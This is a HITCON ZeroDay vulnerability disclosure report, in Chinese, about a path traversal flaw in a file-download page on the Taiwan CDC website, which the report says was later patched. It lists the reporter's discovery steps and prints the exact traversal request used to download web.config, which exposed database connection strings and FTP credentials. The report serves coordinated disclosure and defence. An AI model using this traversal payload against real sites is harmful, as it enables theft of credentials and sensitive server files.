衛生福利部疾病管制署 某政府單位 - Directory Transversal - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2016-00202
  • Vendor: 衛生福利部疾病管制署
  • Title: 衛生福利部疾病管制署 某政府單位 - Directory Transversal
  • Introduction: 可任意下載檔案

處理狀態

目前狀態

公開
Last Update : 2016/11/15
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2016/09/13 23:13:40 : 新提交 (由 jacky5112 更新此狀態)
  • 2016/09/18 17:44:34 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/09/27 23:25:12 : 轉報至合作單位 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/11/15 01:00:03 : 確認已修補 (由 HITCON ZeroDay 平台自動更新)
  • 2016/11/15 01:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2016-00202
  • 通報者:qoo24571864 (jacky5112)
  • 風險:高
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.cdc.gov.tw/downloadfile_url.aspx

敘述

  1. 利用 google hacking 發現檔案下載
  2. 瀏覽網頁
    http://www.cdc.gov.tw/rwd
  3. 進行路徑猜測並下載檔案,發現可下載web.config,其中發現具有資料庫連接字串與FTP帳號密碼
    www.cdc.gov.tw/downloadfile_url.aspx?url=/../web.config&filename=a.txt

擷圖

留言討論

;